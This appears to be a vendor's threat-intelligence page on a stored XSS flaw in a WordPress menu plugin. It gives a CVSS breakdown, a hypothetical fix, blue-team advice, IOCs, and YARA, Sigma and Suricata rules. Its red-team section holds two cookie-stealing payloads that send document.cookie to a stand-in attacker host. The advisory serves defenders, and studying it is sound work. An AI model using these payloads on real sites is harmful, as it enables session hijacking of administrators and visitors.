CVE-2025-50048
Executive Summary
CVE-2025-50048 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Automatically Hierarchic Categories in Menu, developed by Atakan au. The vulnerability exists in versions up to and including 2.0.9. It allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages, which will execute whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of input during web page generation. As of this report, no official patch has been released, and the vendor's status is unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who have installed this plugin from the WordPress dashboard or via direct download are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems. The lack of a patch and unknown vendor status increases supply chain risk, as users must rely on manual mitigation or removal.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level WordPress user)
- User Interaction: Required (Victim must visit the compromised page)
- Scope: Changed (Impact can extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a WordPress context can lead to session hijacking, defacement, or phishing attacks against site visitors.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (CWE-79) in the WordPress plugin "Automatically Hierarchic Categories in Menu". The plugin likely fails to properly sanitize user-supplied input when creating or editing menu items that display hierarchic categories. An attacker with contributor-level access or higher can inject malicious JavaScript into fields such as category names, descriptions, or custom menu labels. This input is stored in the WordPress database and rendered unsanitized on the frontend when the menu is displayed.
Attack Flow:
- Attacker logs in with a contributor account.
- Attacker navigates to the menu editor or category management interface.
- Attacker injects a payload like
<script>alert('XSS')</script>into a vulnerable field. - The payload is stored in the database.
- When an administrator or visitor loads a page that renders the menu, the script executes in their browser.
The vulnerability is particularly dangerous because it does not require high privileges and can affect all users of the site.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable code pattern. The plugin likely uses echo or the_title() without proper escaping.
Vulnerable Code (Hypothetical):
// In a template or function that renders menu items
echo $category->name; // No escaping
Patched Code (Hypothetical):
// Properly escape output
echo esc_html( $category->name );
The fix would involve using WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post() depending on the context.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with vulnerable plugin (<= 2.0.9)
- Contributor-level account or higher
Step-by-Step Exploitation:
- Log in to WordPress as a contributor.
- Navigate to Appearance > Menus or Posts > Categories.
- Create a new menu item or edit an existing category.
- In the "Navigation Label" or "Category Name" field, inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the menu/category.
- Wait for an administrator or visitor to load a page that displays the menu.
- The script executes, exfiltrating cookies to the attacker's server.
Alternative Payload (Session Hijacking):
<img src=x onerror="new Image().src='https://attacker.com/steal?cookie='+document.cookie">
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress logs for unusual menu or category edits.
- Use a Web Application Firewall (WAF) to block common XSS payloads.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Hardening:
- Remove or disable the plugin until a patch is available.
- Restrict contributor-level users from editing menus or categories if not needed.
- Use a security plugin like Wordfence to add input validation.
Indicators of Compromise (IOCs)
File Indicators:
- Plugin directory:
/wp-content/plugins/automatically-hierarchic-categories-in-menu/ - Version file:
readme.txtcontaining version string2.0.9or lower
- Plugin directory:
Network Indicators:
- Outbound HTTP requests to unknown domains containing cookie data (e.g.,
GET /steal?cookie=...) - Unusual JavaScript files loaded from external sources
- Outbound HTTP requests to unknown domains containing cookie data (e.g.,
Log Indicators:
- WordPress audit logs showing menu or category edits by low-privilege users
- HTTP requests with
<script>tags in POST data towp-admin/nav-menus.phporwp-admin/edit-tags.php
Detection Engineering
YARA Rule
rule Detect_Stored_XSS_Automatically_Hierarchic_Categories {
meta:
description = "Detects stored XSS payloads in WordPress plugin Automatically Hierarchic Categories in Menu"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-50048"
strings:
$xss_payload1 = /<script[^>]*>.*<\/script>/is
$xss_payload2 = /onerror\s*=\s*["']?[^"']*["']?/is
$xss_payload3 = /onload\s*=\s*["']?[^"']*["']?/is
$plugin_path = "automatically-hierarchic-categories-in-menu"
condition:
$plugin_path and ($xss_payload1 or $xss_payload2 or $xss_payload3)
}
Sigma Rule
title: Stored XSS in Automatically Hierarchic Categories in Menu
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts against WordPress plugin Automatically Hierarchic Categories in Menu
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/wp-admin/nav-menus.php'
- '/wp-admin/edit-tags.php'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in menu descriptions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-50048 Stored XSS Payload in WordPress Menu"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/nav-menus.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review and remove any suspicious menu items or categories that may contain injected scripts.
- Change all WordPress admin passwords if compromise is suspected.
Long-term Mitigation:
- Monitor the WordPress plugin repository for an official update.
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce the principle of least privilege for WordPress user roles.
- Regularly audit plugins and themes for vulnerabilities.
Workaround:
- If the plugin is critical, consider manually patching by adding
esc_html()to output functions in the plugin's PHP files. However, this requires custom development and may break functionality.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.